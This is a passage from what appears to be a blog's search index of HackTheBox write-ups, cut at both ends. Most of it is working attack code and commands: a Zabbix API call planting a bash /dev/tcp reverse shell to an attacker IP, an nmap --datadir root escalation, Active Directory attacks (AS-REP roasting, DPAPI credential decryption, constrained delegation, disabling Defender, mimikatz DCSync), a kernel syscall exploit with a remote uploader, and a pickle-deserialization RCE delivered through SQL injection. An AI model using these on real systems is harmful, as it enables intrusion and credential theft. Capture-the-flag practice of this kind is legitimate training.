sys.stdout.flush() def extract_admin_session_parallel(auth_token): extracted_value = \u0026#34;\u0026#34; max_length = 32 for position in range(1, max_length + 1): char = test_characters_parallel(auth_token, position) if char: extracted_value += char print_progress(extracted_value) else: print(f\u0026#34;\\n(-) No character found at position {position}, stopping.\u0026#34;) break return extracted_value if __name__ == \u0026#34;__main__\u0026#34;: print(\u0026#34;Authenticating...\u0026#34;) auth_token = authenticate() print(\u0026#34;Starting data extraction...\u0026#34;) admin_session = extract_admin_session_parallel(auth_token) Admin Revshell nc -lvnp 9001 echo -n \u0026#39;Admin Auth ? \u0026#39;; read auth curl -s --request POST \\ --url \u0026#39;http://unrested.htb/zabbix/api_jsonrpc.php\u0026#39; \\ --header \u0026#39;Content-Type: application/json-rpc\u0026#39; \\ --data \u0026#39;{ \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;host.get\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;output\u0026#34;: [\u0026#34;hostid\u0026#34;, \u0026#34;host\u0026#34;], \u0026#34;selectInterfaces\u0026#34;: [\u0026#34;interfaceid\u0026#34;] }, \u0026#34;auth\u0026#34;: \u0026#34;\u0026#39;\u0026#34;$auth\u0026#34;\u0026#39;\u0026#34;, \u0026#34;id\u0026#34;: 1 }\u0026#39; curl --request POST \\ --url \u0026#39;http://unrested.htb/zabbix/api_jsonrpc.php\u0026#39; \\ --header \u0026#39;Content-Type: application/json-rpc\u0026#39; \\ --data \u0026#39;{ \u0026#34;jsonrpc\u0026#34;: \u0026#34;2.0\u0026#34;, \u0026#34;method\u0026#34;: \u0026#34;item.create\u0026#34;, \u0026#34;params\u0026#34;: { \u0026#34;name\u0026#34;: \u0026#34;rce\u0026#34;, \u0026#34;key_\u0026#34;: \u0026#34;system.run[bash -c \u0026#39;\\\u0026#39;\u0026#39;bash -i \u0026gt;\u0026amp; /dev/tcp/10.10.14.18/9001 0\u0026gt;\u0026amp;1\u0026#39;\\\u0026#39;\u0026#39;]\u0026#34;, \u0026#34;delay\u0026#34;: \u0026#34;1\u0026#34;, \u0026#34;hostid\u0026#34;: \u0026#34;10084\u0026#34;, \u0026#34;type\u0026#34;: 0, \u0026#34;value_type\u0026#34;: 1, \u0026#34;interfaceid\u0026#34;: \u0026#34;1\u0026#34; }, \u0026#34;auth\u0026#34;: \u0026#34;\u0026#39;\u0026#34;$auth\u0026#34;\u0026#39;\u0026#34;, \u0026#34;id\u0026#34;: 1 }\u0026#39; Get an Interactive Shell: Once the reverse shell connects, convert it into an interactive shell:\npython3 -c \u0026#39;import pty;pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Press Ctrl+Z to background the shell, then run:\nstty size; stty raw -echo; fg As the last step, set the terminal environment:\nexport TERM=xterm; PrivEsc nmap Wrapper The user zabbix has sudo privileges to execute nmap as any user without a password:\nsudo -l Output:\nUser zabbix may run the following commands on unrested: (ALL : ALL) NOPASSWD: /usr/bin/nmap * Running:\nsudo nmap --interactive Output:\nInteractive mode is disabled for security reasons. This indicates a custom wrapper for nmap has been implemented by Zabbix to restrict certain functionality.\nTo confirm the wrapper:\ncat $(which nmap) The output reveals that it\u0026rsquo;s a wrapper script. However, we can bypass the restrictions using the --datadir option of nmap.\necho \u0026#39;os.execute(\u0026#34;chmod 4775 /bin/bash\u0026#34;)\u0026#39; \u0026gt; /tmp/nse_main.lua sudo /usr/bin/nmap --datadir=/tmp -sC localhost ls -la /bin/bash bash -p cat /root/root.txt Summary Unrested: use CVE-2024-36467 and CVE-2024-42327 where it fits the service, gain a shell, and escalate to root.\n","date":"2024-12-05T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Unrested/","protected":null,"snippet":"Unrested: use CVE-2024-36467 and CVE-2024-42327 where it fits the service, gain a shell, and escalate to root.","tags":["htb","linux","cve-2024-36467","cve-2024-42327"],"title":"HackTheBox Unrested Writeup"},{"categories":["machine"],"contents":"Add Hosts 10.10.11.45 dc01.vintage.htb vintage.htb Script to add hosts automatically ip=\u0026#34;10.10.11.45\u0026#34; domain=\u0026#34;dc01.vintage.htb vintage.htb\u0026#34; grep -qF \u0026#34;$ip $domain\u0026#34; /etc/hosts || echo -e \u0026#34;$ip $domain\u0026#34; | sudo tee -a /etc/hosts Mapping nmap -sCV vintage.htb -Pn Nmap scan report for vintage.htb (10.10.11.45) Host is up (0.054s latency). rDNS record for 10.10.11.45: dc01.vintage.htb Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-03 23:59:56Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vintage.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2024-12-04T00:00:04 |_ start_date: N/A |_clock-skew: -8s | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required Provided Credentials P.Rosa : Rosaisbest123\nbloodhound\nLdap user list ldapsearch -x -H ldap://10.10.11.45 -D \u0026#34;P.Rosa@vintage.htb\u0026#34; -w \u0026#34;Rosaisbest123\u0026#34; -b \u0026#34;DC=vintage,DC=htb\u0026#34; \u0026#34;(objectClass=user)\u0026#34; sAMAccountName | grep \u0026#34;sAMAccountName:\u0026#34; | cut -d \u0026#34; \u0026#34; -f 2 \u0026gt; usernames.txt Kerberos Tickets getTGT.py -dc-ip 10.10.11.45 vintage.htb/FS01$:fs01 export KRB5CCNAME=FS01\\$.ccache bloodyad --host dc01.vintage.htb -d \u0026#34;VINTAGE.HTB\u0026#34; --dc-ip 10.10.11.45 -k get object \u0026#39;GMSA01$\u0026#39; --attr msDS-ManagedPassword getTGT.py vintage.htb/GMSA01$ -hashes \u0026#39;aad3b435b51404eeaad3b435b51404ee:a317f224b45046c1446372c4dc06ae53\u0026#39; export KRB5CCNAME=GMSA01\\$.ccache bloodyad --host dc01.vintage.htb -d \u0026#34;VINTAGE.HTB\u0026#34; --dc-ip 10.10.11.45 -k add groupMember \u0026#34;SERVICEMANAGERS\u0026#34; \u0026#34;P.Rosa\u0026#34; getTGT.py vintage.htb/P.Rosa:Rosaisbest123 -dc-ip dc01.vintage.htb export KRB5CCNAME=P.Rosa.ccache ASREPRoasting Disable PREAUTH\nbloodyad --host dc01.vintage.htb -d \u0026#34;VINTAGE.HTB\u0026#34; --dc-ip 10.10.11.45 -k add uac SVC_ARK -f DONT_REQ_PREAUTH bloodyad --host dc01.vintage.htb -d \u0026#34;VINTAGE.HTB\u0026#34; --dc-ip 10.10.11.45 -k add uac SVC_LDAP -f DONT_REQ_PREAUTH bloodyad --host dc01.vintage.htb -d \u0026#34;VINTAGE.HTB\u0026#34; --dc-ip 10.10.11.45 -k add uac SVC_SQL -f DONT_REQ_PREAUTH Enable Accounts\nbloodyad --host dc01.vintage.htb -d \u0026#34;VINTAGE.HTB\u0026#34; --dc-ip 10.10.11.45 -k remove uac SVC_ARK -f ACCOUNTDISABLE bloodyad --host dc01.vintage.htb -d \u0026#34;VINTAGE.HTB\u0026#34; --dc-ip 10.10.11.45 -k remove uac SVC_LDAP -f ACCOUNTDISABLE bloodyad --host dc01.vintage.htb -d \u0026#34;VINTAGE.HTB\u0026#34; --dc-ip 10.10.11.45 -k remove uac SVC_SQL -f ACCOUNTDISABLE GetNPUsers.py -dc-ip 10.10.11.45 -request -usersfile usernames.txt vintage.htb/ Resulted hash\n$krb5asrep$23$svc_sql@VINTAGE.HTB:c65f23feb7e3e10c87e6d1a3a432a9cf$7e3d9e28272e1d10795a0c482b3eb538096577268c8721662befadf2367f5e9bd93dbc458e1b86d0b384005c0cab7e0136acebf277e6db07971a34bb1cb9a58178f4cf05ea3d1b4e4737590ecdf024bba30cd1e0391cb771a26a62374acb61c0253354fd043082c8b21d8eda40957a68a7552d9be122a5bbfa1ca666817c6eaaec5f0ac1083bfb98b1e0e4065f140d8bebefe877ab070e91c6d24d33cacac1105e4517d347af3b5c10ff9b707b2d7b43867d0b3f0556c2130c4cd67d08dfa9fac0571f1df6de7c3bdbcbf39d6121380d38120ff210ff74219fd9fe6ba551e03de9301bef3cbe948b820e Brute Force the Hash echo -n \u0026#34;Password Hash? --\u0026gt;\u0026#34; ; read hash echo \u0026#34;$hash\u0026#34; \u0026gt; /tmp/hash.txt hashcat 18200 -a 0 /tmp/hash.txt /usr/share/dict/rockyou.txt hashcat /tmp/hash.txt --show rm -rf /tmp/hash.txt This yields Zer0the0ne\nkerbrute --dc vintage.htb -d vintage.htb -v passwordspray usernames.txt Zer0the0ne C.Neri@vintage.htb:Zer0the0ne\nRemember, /etc/krb5.conf is needed, but make sure to remove it after pwning the box, as it can interfere with future pwns.\ngetTGT.py vintage.htb/c.neri:Zer0the0ne -dc-ip vintage.htb echo -e \u0026#39;[libdefaults]\\n default_realm = VINTAGE.HTB\\n dns_lookup_kdc = false\\n rdns = false\\n\\n[realms]\\n VINTAGE.HTB = {\\n kdc = 10.10.11.45\\n admin_server = 10.10.11.45\\n }\\n\\n[domain_realm]\\n .vintage.htb = VINTAGE.HTB\\n vintage.htb = VINTAGE.HTB \u0026#39; | sudo tee /etc/krb5.conf export KRB5CCNAME=c.neri.ccache evil-winrm -i dc01.vintage.htb -r vintage.htb cat ../Desktop/user.txt whoami /priv DPAPI Credentials The WinRM download wasn\u0026rsquo;t working until I removed its hidden property, though I\u0026rsquo;m not sure why.\ncd \u0026#39;C:\\Users\\C.Neri\\AppData\\Roaming\\Microsoft\\Credentials\u0026#39; Set-ItemProperty -Path .\\C4BB96844A5C9DD45D5B6A9859252BA6 -Name Attributes -Value ([System.IO.FileAttributes]::Normal) download C4BB96844A5C9DD45D5B6A9859252BA6 cd \u0026#39;C:\\Users\\C.Neri\\AppData\\Roaming\\Microsoft\\Protect\\S-1-5-21-4024337825-2033394866-2055507597-1115\u0026#39; Set-ItemProperty -Path \u0026#39;.\\99cf41a3-a552-4cf7-a8d7-aca2d6f7339b\u0026#39; -Name Attributes -Value ([System.IO.FileAttributes]::Normal) download \u0026#39;99cf41a3-a552-4cf7-a8d7-aca2d6f7339b\u0026#39; Local:\ndpapi.py masterkey -file \u0026#39;99cf41a3-a552-4cf7-a8d7-aca2d6f7339b\u0026#39; -sid \u0026#39;S-1-5-21-4024337825-2033394866-2055507597-1115\u0026#39; -password Zer0the0ne dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key \u0026#39;0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a\u0026#39; c.neri_adm:Uncr4ck4bl3P4ssW0rd0312\nDelegation and SPN Attack export KRB5CCNAME=c.neri.ccache bloodyad -k --host dc01.vintage.htb -d VINTAGE.HTB remove uac SVC_SQL -f ACCOUNTDISABLE bloodyad -k --host dc01.vintage.htb -d VINTAGE.HTB set object \u0026#39;SVC_SQL\u0026#39; servicePrincipalName -v \u0026#34;cifs/x\u0026#34; getTGT.py -dc-ip 10.10.11.45 \u0026#39;VINTAGE.HTB/c.neri_adm:Uncr4ck4bl3P4ssW0rd0312\u0026#39; export KRB5CCNAME=c.neri_adm.ccache bloodyad -k --host dc01.vintage.htb -d vintage.htb add groupMember \u0026#34;delegatedadmins\u0026#34; \u0026#34;svc_sql\u0026#34; getTGT.py -dc-ip 10.10.11.45 \u0026#39;VINTAGE.HTB/svc_sql:Zer0the0ne\u0026#39; export KRB5CCNAME=svc_sql.ccache getST.py -spn \u0026#39;cifs/dc01.vintage.htb\u0026#39; -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k \u0026#39;vintage.htb/svc_sql:Zer0the0n\u0026#39; export KRB5CCNAME=L.BIANCHI_ADM.ccache wmiexec.py -k -no-pass VINTAGE.HTB/L.BIANCHI_ADM@dc01.vintage.htb -dc-ip 10.10.11.45 type Users\\Administrator\\Desktop\\root.txt powershell -Command \u0026#34;Set-MpPreference -DisableRealtimeMonitoring $True\u0026#34; lput ./.local/www/win/creds/mimikatz.exe mimikatz.exe \u0026#34;privilege::debug\u0026#34; \u0026#34;lsadump::dcsync /user:administrator\u0026#34; \u0026#34;exit\u0026#34; 468c7497513f8243b59980f2240a10de\nSummary Vintage: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.\n","date":"2024-12-04T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Vintage/","protected":null,"snippet":"Vintage: enumerate the AD surface, abuse the exposed credential or delegation path, and escalate to Administrator.","tags":["htb","windows","linux","active-directory","kerberos","ldap"],"title":"HackTheBox Vintage Writeup"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/258\nDescription Apparently Linux authentication is done in userspace? That doesn\u0026rsquo;t sound safe, time to do it all in the kernel!\nExploitation Examining the kernel diff, we notice the addition of several new syscalls, including one named magic with syscall number 449.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/syscall.h\u0026gt; #include \u0026lt;string.h\u0026gt; #define MAX_USERS 65535 #define MAGIC_SYS 449 void do_add(char* username, char* password) { syscall(MAGIC_SYS, 0, username, password); } void do_delete(char* username) { syscall(MAGIC_SYS, 2, username); } void do_switch(char* username, char* password) { syscall(MAGIC_SYS, 3, username, password); } int main() { char *user = \u0026#34;pwn\u0026#34;; char *pass = \u0026#34;12pwn34\u0026#34;; for (int i = 0; i \u0026lt; MAX_USERS; i++) { do_add(user, pass); if (i == MAX_USERS - 1) { do_switch(user, pass); char *args[] = {\u0026#34;/bin/sh\u0026#34;, NULL}; execve(args[0], args, NULL); return 0; } do_delete(user); } for (int i = 0; i \u0026lt; 0xFFFFFFFF; i++) { if (syscall(MAGIC_SYS, 0, user, pass) == 0) { do_switch(user, pass); char *args[] = {\u0026#34;/bin/sh\u0026#34;, NULL}; execve(args[0], args, NULL); return 0; } do_delete(user); } return 0; } Use musl for compilation to produce more compact binaries.\nmusl-gcc -static -march=x86-64 -Os poc.c -o expl Use this script to upload, decompress, execute the PoC, and get an interactive session as root.\n#!/usr/bin/python3 from pwn import * import base64,gzip def get_process(): try: host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return remote(host, int(port)) except IndexError: print(f\u0026#39;Usage: python {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#39;) exit(1) chunk_size = 256 file_name = \u0026#39;expl\u0026#39; file_name_encoded = file_name.encode() with open(file_name, \u0026#39;rb\u0026#39;) as inf: exploit = inf.read() data = base64.b64encode(gzip.compress(exploit)) conn = get_process() n_chunks = (len(data) + chunk_size - 1) // chunk_size for i in range(n_chunks): print(f\u0026#39;Uploading the exploit: {i + 1}/{n_chunks}\u0026#39;) conn.recvuntil(b\u0026#39;$\u0026#39;) conn.sendline(b\u0026#39;echo \u0026#39; + data[chunk_size*i: (i+1)*chunk_size] + b\u0026#39; \u0026gt;\u0026gt; /home/user/\u0026#39; + file_name_encoded + b\u0026#39;.base64\u0026#39;) print(\u0026#39;Uploading the exploit: \u0026#39; + str(n_chunks) + \u0026#39;/\u0026#39; + str(n_chunks)) conn.sendline(b\u0026#39;cat /home/user/\u0026#39; + file_name_encoded + b\u0026#39;.base64 | base64 -d \u0026gt; /home/user/\u0026#39; + file_name_encoded + b\u0026#39;.gz\u0026#39;) conn.recvuntil(b\u0026#39;$\u0026#39;) conn.sendline(b\u0026#39;cat /home/user/\u0026#39; + file_name_encoded + b\u0026#39;.gz | gzip -d \u0026gt; /home/user/\u0026#39; + file_name_encoded) conn.recvuntil(b\u0026#39;$\u0026#39;) conn.sendline(b\u0026#39;chmod +x /home/user/\u0026#39; + file_name_encoded) conn.recvuntil(b\u0026#39;$\u0026#39;) conn.sendline(b\u0026#39;/home/user/\u0026#39; + file_name_encoded) conn.interactive() cat /flag.txt Summary Kernel Adventures 2: build the shellcode path, control execution, and read the flag.\n","date":"2024-12-03T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Kernel-Adventures-2-Challenge/","protected":null,"snippet":"Kernel Adventures 2: build the shellcode path, control execution, and read the flag.","tags":["htb","pwn","shellcode","linux"],"title":"HackTheBox Kernel Adventures 2 Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-03T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-ScreenCrack-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","web","ssrf","rce","php"],"title":"HackTheBox ScreenCrack Challenge"},{"categories":["challenge"],"contents":"","date":"2024-12-03T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Touch-Challenge/","protected":true,"snippet":"Enter the challenge flag to unlock this writeup.","tags":["htb","misc"],"title":"HackTheBox Touch Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/713\nDescription Now that you've gathered the finest in the land, you need to equip your team. Big men, trouble makers, shotguns, riffles, roasted ants, nuclear soda, some scrapped hacky-boys, a power armor and more are all essential for the job. As you go to the different merchants, you soon start to realize that you're gonna start gathering a lot of stuff. Your team may be strong, but there's a limit to what they can lift. But that mustn't sacrifice the quality of products you get. Can you devise a way to get the best products without going over your physical limits?\nExploitation #!/usr/bin/env python3 import sys from pwn import remote def get_values(test_n): io.recvuntil(f\u0026#39;Test {test_n + 1}/100\\n\u0026#39;.encode()) N = int(io.recvuntil(b\u0026#39; \u0026#39;).decode()) C = int(io.recvline().rstrip().decode()) weights = [] values = [] for _ in range(N): product = io.recvline().rstrip().decode().split(\u0026#39; \u0026#39;) weights.append(int(product[0])) values.append(int(product[1])) return N, C, weights, values def solve_knapsack(n, c, weights, values): dp = [[0 for _ in range(c + 1)] for _ in range(n + 1)] for i in range(1, n + 1): for w in range(1, c + 1): if weights[i-1] \u0026lt;= w: dp[i][w] = max(dp[i-1][w], dp[i-1][w-weights[i-1]] + values[i-1]) else: dp[i][w] = dp[i-1][w] return dp[n][c] def send_solution(max_sum): io.sendline(f\u0026#39;{max_sum}\u0026#39;.encode()) def get_flag(): io.recvuntil(b\u0026#39;HTB{\u0026#39;) return b\u0026#39;HTB{\u0026#39; + io.recvline().rstrip() def exp(): for t in range(100): print(\u0026#39;Test\u0026#39;, t + 1) N, C, weights, values = get_values(t) max_sum = solve_knapsack(N, C, weights, values) send_solution(max_sum) flag = get_flag() print(flag) if __name__ == \u0026#34;__main__\u0026#34;: if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) ip, port = sys.argv[1].split(\u0026#34;:\u0026#34;) port = int(port) io = remote(ip, port) exp() Summary Bag Secured: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-12-01T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Bag-Secured-Challenge/","protected":null,"snippet":"Bag Secured: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Bag Secured Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/525\nDescription After gaining access to the enemy\u0026rsquo;s infrastructure, we collected crucial network traffic data from their Modbus network. Our primary objective is to swiftly identify the specific registers containing highly sensitive information and extract that data.\nExploitation network_logs.pcapng is parsed with:\n#!/usr/bin/python3 import socket import sys from time import sleep from umodbus import conf from umodbus.client import tcp from scapy.all import rdpcap, TCP conf.SIGNED_VALUES = True if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) try: ip, port = sys.argv[1].split(\u0026#34;:\u0026#34;) port = int(port) except ValueError: print(\u0026#34;Error: Invalid format for IP and port. Use \u0026lt;ip:port\u0026gt; format.\u0026#34;) sys.exit(1) PCAP_FILE = \u0026#34;network_logs.pcapng\u0026#34; def extract_modbus_commands_and_registers(pcap_file): packets = rdpcap(pcap_file) modbus_commands = [] register_addresses = [] for pkt in packets: if TCP in pkt: payload = bytes(pkt[TCP].payload).hex() if \u0026#34;34\u0026#34; in payload: modbus_commands.append(payload) if len(payload) \u0026gt;= len(\u0026#34;91ed00000006341000060001\u0026#34;): packet = payload[-10:] if packet.startswith(\u0026#34;10\u0026#34;): register_addr = int(packet[-6:-4], 16) register_addresses.append(register_addr) return modbus_commands, register_addresses def main(): print(\u0026#34;[*] Parsing Modbus commands and register addresses from the PCAP file...\u0026#34;) modbus_commands, register_addresses = extract_modbus_commands_and_registers(PCAP_FILE) print(\u0026#34;[*] Extracted Modbus Commands:\u0026#34;) for cmd in modbus_commands: print(cmd) print(\u0026#34;\\n[*] Register Addresses:\u0026#34;) print(register_addresses) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ip, port)) print(f\u0026#34;Connected to Modbus server at {ip}:{port}\u0026#34;) except Exception as e: print(f\u0026#34;Failed to connect to {ip}:{port} - {e}\u0026#34;) sys.exit(1) flag = \u0026#34;\u0026#34; try: for address in register_addresses: command = tcp.read_holding_registers(52, address, 1) response = tcp.send_message(command, sock) if isinstance(response, list) and response: value = response[0] flag += chr(value) print(f\u0026#34;Register {address}: {value} -\u0026gt; {chr(value)}\u0026#34;) else: print(f\u0026#34;Failed to read register {address}: {response}\u0026#34;) sleep(0.1) except Exception as e: print(f\u0026#34;Error during Modbus communication: {e}\u0026#34;) finally: sock.close() print(\u0026#34;Connection closed.\u0026#34;) print(f\u0026#34;Retrieved flag: {flag}\u0026#34;) if __name__ == \u0026#34;__main__\u0026#34;: main() Summary Intrusion: decode the captured signal, map the bitstream, and recover the flag.\n","date":"2024-12-01T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Intrusion-Challenge/","protected":null,"snippet":"Intrusion: decode the captured signal, map the bitstream, and recover the flag.","tags":["htb","hardware","firmware","signal"],"title":"HackTheBox Intrusion Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/672\nDescription It\u0026rsquo;s a known secret that each faction speaks different languages, however few can speak all of them. KORP has long wanted to send a spy in the factions to keep an eye on them. Through their extensive network, they have found different talented factionless to test. The first to show their multidigilingual skills will get a place in them, and be their secret agent amongst the factions. Can you show them your worth?\nExploitation Polyglots #if 0 #\u0026lt;?php system(\u0026#39;cat flag.txt;\u0026#39;); __halt_compiler();?\u0026gt; print(((\u0026#34;b\u0026#34; + \u0026#34;0\u0026#34; == 0 and exec(\u0026#34;cat flag.txt\u0026#34;)) or (0 and exec(\u0026#34;cat flag.txt\u0026#34;) or eval(\u0026#39;__import__(\u0026#34;sys\u0026#34;).stdout.write(open(\u0026#34;flag.txt\u0026#34;).read())\u0026#39;)))); #endif __asm__(\u0026#34;.section .text\\n.globl main\\nmain:\\nmov $0x0000000000000000, %rax\\npush %rax\\nmov $0x7478742e67616c66, %rax\\npush %rax\\nmov %rsp, %rdi\\nxor %rsi, %rsi\\nmov $2, %rax\\nsyscall\\nmov %rax, %rdi\\nmov %rsp, %rsi\\nmov $0x100, %rdx\\nxor %rax, %rax\\nsyscall\\nmov $1, %rdi\\nmov %rsp, %rsi\\nmov %rax, %rdx\\nmov $1, %rax\\nsyscall\\nxor %rdi, %rdi\\nmov $60, %rax\\nsyscall\\n\u0026#34;); CyberChef\nI2lmIDAKPD9waHAgc3lzdGVtKCdjYXQgZmxhZy50eHQ7Jyk7IF9faGFsdF9jb21waWxlcigpOz8+CnByaW50KCgoImIiICsgIjAiID09IDAgYW5kIGV4ZWMoImNhdCBmbGFnLnR4dCIpKSBvciAoMCBhbmQgZXhlYygiY2F0IGZsYWcudHh0Iikgb3IKZXZhbCgnX19pbXBvcnRfXygic3lzIikuc3Rkb3V0LndyaXRlKG9wZW4oImZsYWcudHh0IikucmVhZCgpKScpKSkpOwojZW5kaWYKX19hc21fXygiLnNlY3Rpb24gLnRleHRcbi5nbG9ibCBtYWluXG5tYWluOlxubW92ICQweDAwMDAwMDAwMDAwMDAwMDAsICVyYXhcbnB1c2ggJXJheFxubW92CiQweDc0Nzg3NDJlNjc2MTZjNjYsICVyYXhcbnB1c2ggJXJheFxubW92ICVyc3AsICVyZGlcbnhvciAlcnNpLCAlcnNpXG5tb3YgJDIsCiVyYXhcbnN5c2NhbGxcbm1vdiAlcmF4LCAlcmRpXG5tb3YgJXJzcCwgJXJzaVxubW92ICQweDEwMCwgJXJkeFxueG9yICVyYXgsICVyYXhcbnN5c2NhbGxcbm1vdgokMSwgJXJkaVxubW92ICVyc3AsICVyc2lcbm1vdiAlcmF4LCAlcmR4XG5tb3YgJDEsICVyYXhcbnN5c2NhbGxcbnhvciAlcmRpLCAlcmRpXG5tb3YgJDYwLAolcmF4XG5zeXNjYWxsXG4iKTs Summary MultiDigilingual: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-12-01T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-MultiDigilingual-Challenge/","protected":null,"snippet":"MultiDigilingual: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox MultiDigilingual Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/814\nDescription Two ancient runes hold hidden powers. Combine them to unlock the sum and reveal their secret.\nTask Addition Take in two numbers, a and b. Return a+b .\nExample Input 3 4\nOutput 7\nExploitation a = int(input()) b = int(input()) answer = a + b print(answer) Summary Addition: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-Addition-Challenge/","protected":null,"snippet":"Addition: reduce the custom rules to a scriptable check and use the smallest reliable path to the flag.","tags":["htb","misc"],"title":"HackTheBox Addition Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/395\nDescription The C.O.P (Cult of Pickles) have started up a new web store to sell their merch. We believe that the funds are being used to carry out illicit pickle-based propaganda operations! Investigate the site and try and find a way into their operation!\nExploitation #!/usr/bin/python3 import requests,pickle,base64,sys,os def get_base_url(): if len(sys.argv) != 2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host, port = sys.argv[1].split(\u0026#39;:\u0026#39;) return f\u0026#34;http://{host}:{port}\u0026#34; class RCE: def __reduce__(self): return (os.system, (payload_command,)) def create_malicious_pickle(): malicious_object = RCE() pickled_payload = pickle.dumps(malicious_object) encoded_payload = base64.urlsafe_b64encode(pickled_payload).decode(\u0026#39;ascii\u0026#39;) return encoded_payload def inject_payload(encoded_payload): injection_url = f\u0026#34;{TARGET_URL}1\u0026#39; UNION SELECT \u0026#39;{encoded_payload}\u0026#39;-- \u0026#34; response = requests.get(injection_url) if response.status_code == 200: print(\u0026#34;[+] Payload injected successfully.\u0026#34;) else: print(f\u0026#34;[-] Injection failed with status code: {response.status_code}\u0026#34;) print(\u0026#34;Server response:\u0026#34;, response.text) def check_flag_file(): response = requests.get(STATIC_FILE_URL) if response.status_code == 200: print(\u0026#34;[+] Flag file accessed successfully!\u0026#34;) print(response.text, end=\u0026#39;\u0026#39;) else: print(\u0026#34;[-] Could not access the flag file. The exploit may not have worked.\u0026#34;) BASE_URL = get_base_url() TARGET_URL = f\u0026#34;{BASE_URL}/view/\u0026#34; STATIC_FILE_URL = f\u0026#34;{BASE_URL}/static/flag.txt\u0026#34; payload_command = \u0026#39;cp /app/flag.txt /app/application/static/flag.txt\u0026#39; if __name__ == \u0026#34;__main__\u0026#34;: encoded_payload = create_malicious_pickle() print(f\u0026#34;[+] Generated payload: {encoded_payload}\u0026#34;) inject_payload(encoded_payload) check_flag_file() Summary C.O.P: exploit the SQL injection, extract the needed data, and reach the flag.\n","date":"2024-11-30T09:20:00+08:00","permalink":"https://x3ric.com/blog/posts/HackTheBox-C.O.P-Challenge/","protected":null,"snippet":"C.O.P: exploit the SQL injection, extract the needed data, and reach the flag.","tags":["htb","web","sql-injection","deserialization","rce"],"title":"HackTheBox C.O.P Challenge"},{"categories":["challenge"],"contents":"https://app.hackthebox.com/challenges/624\nDescription The malevolent spirits have concealed all the Halloween treats within their secret vault, and it\u0026rsquo;s imperative that you decipher its enigmatic seal to reclaim the candy before the spooky night arrives.\nExploitation #!/usr/bin/python3 from requests.exceptions import ConnectionError import requests,json,sys def get_base_url(): if len(sys.argv)!=2: print(f\u0026#34;Usage: {sys.argv[0]} \u0026lt;ip:port\u0026gt;\u0026#34;) sys.exit(1) host,port=sys.argv[1].split(\u0026#39;:\u0026#39;) return f\u0026#34;http://{host}:{port}\u0026#34; def attempt_login(payload): for _ in range(3): try: response=session.post(login_url,headers=headers,json=payload,allow_redirects=False) if response.is_redirect: final_url=response.headers.get(\u0026#34;Location\u0026#34;) if final_url.startswith(\u0026#34;/\u0026#34;):final_url=base_url+final_url response=session.get(final_url,headers=headers) return response,final_url return response,None except ConnectionError:pass return None,None def attack(): for payload in payloads: response,final_url=attempt_login(payload) if response and \u0026#34;Log-in to open the doors to candy vault!\u0026#34; not in response.text: print(response.text);return base_url=get_base_url() 